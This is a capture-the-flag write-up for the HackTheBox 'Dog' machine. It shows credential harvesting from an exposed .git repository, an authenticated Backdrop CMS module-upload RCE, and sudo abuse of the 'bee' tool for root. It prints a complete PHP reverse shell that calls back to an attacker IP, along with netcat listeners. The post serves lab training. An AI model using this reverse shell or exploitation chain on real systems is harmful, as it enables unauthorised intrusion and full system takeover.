Post

HTB Dog Writeup

HTB Dog Writeup

Introduction

This is an easy Linux machine on HackTheBox.

This is what a hint will look like!

Enumeration

You can’t hack into a server if you don’t know anything about it! We want to gather as much information about the system as possible.

Port Scan

Let’s start with a port scan to see what services are accessible

1
rustscan -a MACHINE_IP -- -A -oA scan -sC

rustscan

We have two open ports:

  • 22: SSH
  • 80: HTTP

Website

With most HTB machines we need to map the machine IP to a domain name before we can visit the website. In your /etc/hosts file add the following

1
MACHINE_IP dog.htb

Visiting the site hosted on port 80 we find

homepage

Immediately we can find a link to a login page and a user named “dogBackDropSystem”! Let’s continue enumeration by visiting /robots.txt

robots

There are quite a few links but let’s download and read the README.md file

readme

The website seems to have installed Backdrop CMS! Searching through the website directories we can visit /core/modules/config

config-dir

Download and read config.info

config-info

We now know that the server is running Backdrop CMS version 1.27.1!!!

Git

Look into git-dumper

Looking at the script output during port enumeration, we can find a reference to a .git directory

git-scan

Using the tool git-dumper, we can copy the git repo to our local machine

1
git-dumper http://dog.htb ./git-dump

We should try to find some credentials within the repo. For usernames let’s look for references to @dog.htb

1
grep -ri '@dog.htb'

git-usernames

Now we know there are two users named dog and tiffany!

Time to find some passwords. These are usually located in configuration or settings files. Check out settings.php in the root directory

settings-creds

We have a password which gives us everything we need to move forward

Intial Foothold

Use credentials found during enumeration and find an exploit for Backdrop CMS v1.27.1

Admin Dashboard

Using the usernames and password we found, we can login to the admin dashboard

admin-dashboard

The credentials work so let’s take advantage of these privileges

Authenticated Remote Code Execution

Through enumeration we know that the server is running Backdrop CMS v1.27.1. searchsploit can find public exploits for the service

1
searchsploit backdrop

searchsploit

Let’s download the exploit and read the code

1
searchsploit -m 52021

The exploit leverates the module installation feature to create a malicious module which installs a PHP web shell onto the server. The script generates two files. shell.info is used for module meta information by Backdrop. shell.php contains the PHP code for the web shell.

First let’s run the exploit and then modify the payload to suit our needs

1
python3 52021.py http://dog.htb

rce-payload

If we try to follow the exploit instructions, we run into a few issues. First we need to find the module installation directory. Visiting http://dog.htb/admin/modules/install doesn’t work but we can check our previous queries and change the URL accordingly

1
http://dog.htb/?q=admin/modules/install

module-install

When we try to install the .zip file manually, we’re told the server doesn’t accept it. We can change the format to one of the following

zip-bad

While we’re at it, we should change shell.php from a web shell into a reverse shell since the server will delete the file periodically. Just replace the code in shell.php with the PHP PentestMonkey reverse shell on revshells.com. It should look something like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.203'; // YOUR IP HERE
$port = 4444; // SAME PORT AS THE LISTENER
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Now that the files are prepared we can create a tar.gz archive using tar

1
tar -czvf shell.tar.gz shells

payload-tar

Setup a listener on our machine to accept the reverse shell request

1
nc -lvnp 4444

Now we can install the module and trigger our reverse shell payload by visiting

1
http://dog.htb/modules/shell/shell.php

www-data

Privilege Escalation

User

Reuse credentials!

Now that we have access to the server let’s enumerate the users on the system with access to a shell

1
cat /etc/passwd | grep bash

etc-passwd

Using the same password we used for tiffany, switch to the user johncusack

1
su johncusack

Perfect we can grab the first flag!

user-txt

Now that we know about the johncusack user, we can ssh into the machine with their credentials for a more stable shell!

Root

What commands can johncusack run as root?

Check what commands we can run using sudo

1
sudo -l

sudo

Reading the help menu for the bee command reveals options to run arbitrary PHP code!

1
bee --help

bee-help

Using the PHP PentestMonkey reverse shell on revshells.com we can create another payload to give us a root shell! I placed it in /tmp/revshell.php

Setup a listener as before

1
nc -lvnp 4444

In order for the bee command to run correctly we need to be in the Backdrop root directory. Then we can run our PHP reverse shell payload as root

1
2
cd /var/www/html
sudo /usr/local/bin/bee scr /tmp/revshell.php

root-txt

Conclusion

By using git-dumper, we were able to obtain the Backdrop CMS version number, as well as a username and password for the admin dashboard. These privileges allowed us to run a publicly disclosed Authenticated Remote Code Execution exploit that gave us a foothold into the machine. Reusing the same password from the admin dashboard escalated our privilges from www-data to the user johncusack on the server. Enumerating sudo privileges gave us the final command to run arbitrary PHP code, giving us a root shell!

This post is licensed under CC BY 4.0 by the author.